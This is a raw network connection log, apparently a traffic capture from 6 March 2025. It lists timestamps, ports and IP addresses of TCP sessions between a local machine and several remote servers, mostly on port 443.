Mar 6, 2025 14:38:42.235897064 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.235923052 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.235927105 CET	49753	443	192.168.2.4	151.101.66.137
Mar 6, 2025 14:38:42.235944986 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.235975981 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.235987902 CET	49753	443	192.168.2.4	151.101.66.137
Mar 6, 2025 14:38:42.236004114 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.236032963 CET	49753	443	192.168.2.4	151.101.66.137
Mar 6, 2025 14:38:42.236053944 CET	49753	443	192.168.2.4	151.101.66.137
Mar 6, 2025 14:38:42.303359032 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.303384066 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.303436041 CET	49753	443	192.168.2.4	151.101.66.137
Mar 6, 2025 14:38:42.303441048 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.303483009 CET	49753	443	192.168.2.4	151.101.66.137
Mar 6, 2025 14:38:42.303500891 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.303549051 CET	49753	443	192.168.2.4	151.101.66.137
Mar 6, 2025 14:38:42.303607941 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.303662062 CET	49753	443	192.168.2.4	151.101.66.137
Mar 6, 2025 14:38:42.303936005 CET	49753	443	192.168.2.4	151.101.66.137
Mar 6, 2025 14:38:42.303956032 CET	443	49753	151.101.66.137	192.168.2.4
Mar 6, 2025 14:38:42.317065954 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:42.317126989 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:42.317229986 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:42.317472935 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:42.317502975 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:43.470777988 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:43.471945047 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:43.471956968 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:43.472378969 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:43.472722054 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:43.472800970 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:43.472893953 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:43.516330957 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:43.722218990 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:43.722578049 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:43.722603083 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:43.722940922 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:43.723462105 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:43.723603010 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:43.723733902 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:43.764327049 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.009844065 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.013456106 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.013503075 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.013550997 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.013569117 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.013627052 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.025090933 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.025326967 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.025506020 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.025535107 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.072335958 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.093666077 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.093758106 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.094289064 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.094305038 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.095818043 CET	443	49744	142.250.185.164	192.168.2.4
Mar 6, 2025 14:38:44.095889091 CET	443	49744	142.250.185.164	192.168.2.4
Mar 6, 2025 14:38:44.095973015 CET	49744	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:38:44.096925974 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.096975088 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.096990108 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.103542089 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.103605986 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.103621006 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.109030008 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.109097958 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.109107018 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.153552055 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.153584003 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.169497013 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.171947956 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.171960115 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.176079035 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.176162958 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.176172018 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.178534031 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.178781986 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.178797007 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.178838968 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.178893089 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.178901911 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.179781914 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.179852009 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.180164099 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.180222988 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.180289984 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.180300951 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.185477018 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.185589075 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.185600042 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.232759953 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.233407021 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.233437061 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.257666111 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.257723093 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.257879972 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.257914066 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.277576923 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.277652025 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.277673006 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.278434992 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.278533936 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.278553963 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.289459944 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.289490938 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.289515972 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.289541960 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.289866924 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.296902895 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.296967983 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.297277927 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.297287941 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.297743082 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.303548098 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.303638935 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.304326057 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.304344893 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.309581041 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.309639931 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.309730053 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.309786081 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.309786081 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.310200930 CET	49758	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.310224056 CET	443	49758	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.315635920 CET	49744	443	192.168.2.4	142.250.185.164
Mar 6, 2025 14:38:44.315668106 CET	443	49744	142.250.185.164	192.168.2.4
Mar 6, 2025 14:38:44.327445984 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.328172922 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.328202963 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.329067945 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.329541922 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:44.329550982 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:44.330648899 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.330687046 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.330708981 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.330737114 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.330910921 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.347434044 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.349587917 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.353343964 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.353354931 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.368062019 CET	49765	443	192.168.2.4	104.16.5.189
Mar 6, 2025 14:38:44.368072987 CET	443	49765	104.16.5.189	192.168.2.4
Mar 6, 2025 14:38:44.368221998 CET	49765	443	192.168.2.4	104.16.5.189
Mar 6, 2025 14:38:44.368339062 CET	49765	443	192.168.2.4	104.16.5.189
Mar 6, 2025 14:38:44.368350029 CET	443	49765	104.16.5.189	192.168.2.4
Mar 6, 2025 14:38:44.373445034 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.373545885 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.373604059 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.373646975 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.373667002 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.373677015 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.404661894 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.404730082 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.404750109 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.419498920 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.419563055 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.419573069 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.419586897 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.419635057 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.419651031 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.465071917 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.467148066 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.485661983 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.485719919 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.485726118 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.485745907 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.485789061 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.486602068 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.495284081 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.495343924 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.495357037 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.509854078 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.509923935 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.509938002 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.532368898 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.532403946 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.532459021 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.532465935 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.532489061 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.532505989 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.532569885 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.532614946 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.532793999 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.532808065 CET	443	49759	104.17.25.14	192.168.2.4
Mar 6, 2025 14:38:44.532840967 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.532877922 CET	49759	443	192.168.2.4	104.17.25.14
Mar 6, 2025 14:38:44.686294079 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.730073929 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.754188061 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.754204988 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.754249096 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.754261971 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.754337072 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.754367113 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.754374981 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.754380941 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.754437923 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.827907085 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.827920914 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.828016043 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.828035116 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.828043938 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.828097105 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.905946970 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.905983925 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.906044960 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.906056881 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.906084061 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.906091928 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:44.906115055 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:44.906141043 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:45.003747940 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:45.003776073 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:45.003818989 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:45.003832102 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:45.003881931 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:45.104111910 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:45.104140997 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:45.104180098 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:45.104190111 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:45.104234934 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:45.104259014 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:45.125053883 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:45.125140905 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:45.125163078 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:45.125176907 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:45.125543118 CET	49760	443	192.168.2.4	151.101.130.137
Mar 6, 2025 14:38:45.125547886 CET	443	49760	151.101.130.137	192.168.2.4
Mar 6, 2025 14:38:45.599354982 CET	49723	80	192.168.2.4	199.232.214.172
Mar 6, 2025 14:38:45.604540110 CET	80	49723	199.232.214.172	192.168.2.4
Mar 6, 2025 14:38:45.604717016 CET	49723	80	192.168.2.4	199.232.214.172
Mar 6, 2025 14:38:46.132108927 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.132318974 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.132343054 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.133382082 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.133436918 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.133796930 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.133857012 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.133965015 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.133971930 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.164402008 CET	443	49765	104.16.5.189	192.168.2.4
Mar 6, 2025 14:38:46.164588928 CET	49765	443	192.168.2.4	104.16.5.189
Mar 6, 2025 14:38:46.164617062 CET	443	49765	104.16.5.189	192.168.2.4
Mar 6, 2025 14:38:46.165651083 CET	443	49765	104.16.5.189	192.168.2.4
Mar 6, 2025 14:38:46.165699959 CET	49765	443	192.168.2.4	104.16.5.189
Mar 6, 2025 14:38:46.166790962 CET	49765	443	192.168.2.4	104.16.5.189
Mar 6, 2025 14:38:46.166858912 CET	443	49765	104.16.5.189	192.168.2.4
Mar 6, 2025 14:38:46.166946888 CET	49765	443	192.168.2.4	104.16.5.189
Mar 6, 2025 14:38:46.166954994 CET	443	49765	104.16.5.189	192.168.2.4
Mar 6, 2025 14:38:46.183834076 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.215024948 CET	49765	443	192.168.2.4	104.16.5.189
Mar 6, 2025 14:38:46.788045883 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.788090944 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.789195061 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.789211988 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.839952946 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.839961052 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.885056973 CET	443	49765	104.16.5.189	192.168.2.4
Mar 6, 2025 14:38:46.885180950 CET	443	49765	104.16.5.189	192.168.2.4
Mar 6, 2025 14:38:46.885334015 CET	49765	443	192.168.2.4	104.16.5.189
Mar 6, 2025 14:38:46.885946035 CET	49765	443	192.168.2.4	104.16.5.189
Mar 6, 2025 14:38:46.885962009 CET	443	49765	104.16.5.189	192.168.2.4
Mar 6, 2025 14:38:46.886822939 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.886830091 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.900151014 CET	49771	443	192.168.2.4	104.16.6.189
Mar 6, 2025 14:38:46.900176048 CET	443	49771	104.16.6.189	192.168.2.4
Mar 6, 2025 14:38:46.900233984 CET	49771	443	192.168.2.4	104.16.6.189
Mar 6, 2025 14:38:46.900433064 CET	49771	443	192.168.2.4	104.16.6.189
Mar 6, 2025 14:38:46.900443077 CET	443	49771	104.16.6.189	192.168.2.4
Mar 6, 2025 14:38:46.933712006 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.933723927 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.980587959 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.980596066 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.980931044 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:46.981187105 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:46.981192112 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.027520895 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.027530909 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.074325085 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.094388008 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.109965086 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.110013962 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.110030890 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.149934053 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.150041103 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.150063992 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.198636055 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.198647022 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.236118078 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.236196995 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.236226082 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.276770115 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.322981119 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.329727888 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.330110073 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.330122948 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.370543957 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.408373117 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.408462048 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.408792973 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.408798933 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.448901892 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.488967896 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.502265930 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.502463102 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.502475977 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.542462111 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.547710896 CET	443	49750	104.21.14.2	192.168.2.4
Mar 6, 2025 14:38:47.547780991 CET	443	49750	104.21.14.2	192.168.2.4
Mar 6, 2025 14:38:47.547837019 CET	49750	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:38:47.602999926 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.651788950 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.651798964 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.698643923 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.698652029 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.709624052 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.709861994 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.709867001 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.761231899 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.791259050 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.803483009 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.803605080 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.803617001 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.839962959 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.840046883 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.840120077 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.840120077 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.840600967 CET	49764	443	192.168.2.4	104.18.94.41
Mar 6, 2025 14:38:47.840615988 CET	443	49764	104.18.94.41	192.168.2.4
Mar 6, 2025 14:38:47.903851986 CET	49750	443	192.168.2.4	104.21.14.2
Mar 6, 2025 14:38:47.903875113 CET	443	49750	104.21.14.2	192.168.2.4
Mar 6, 2025 14:38:48.725281954 CET	443	49771	104.16.6.189	192.168.2.4
Mar 6, 2025 14:38:48.725518942 CET	49771	443	192.168.2.4	104.16.6.189
Mar 6, 2025 14:38:48.725531101 CET	443	49771	104.16.6.189	192.168.2.4
Mar 6, 2025 14:38:48.726528883 CET	443	49771	104.16.6.189	192.168.2.4
Mar 6, 2025 14:38:48.726612091 CET	49771	443	192.168.2.4	104.16.6.189
Mar 6, 2025 14:38:48.726859093 CET	49771	443	192.168.2.4	104.16.6.189
Mar 6, 2025 14:38:48.726918936 CET	443	49771	104.16.6.189	192.168.2.4
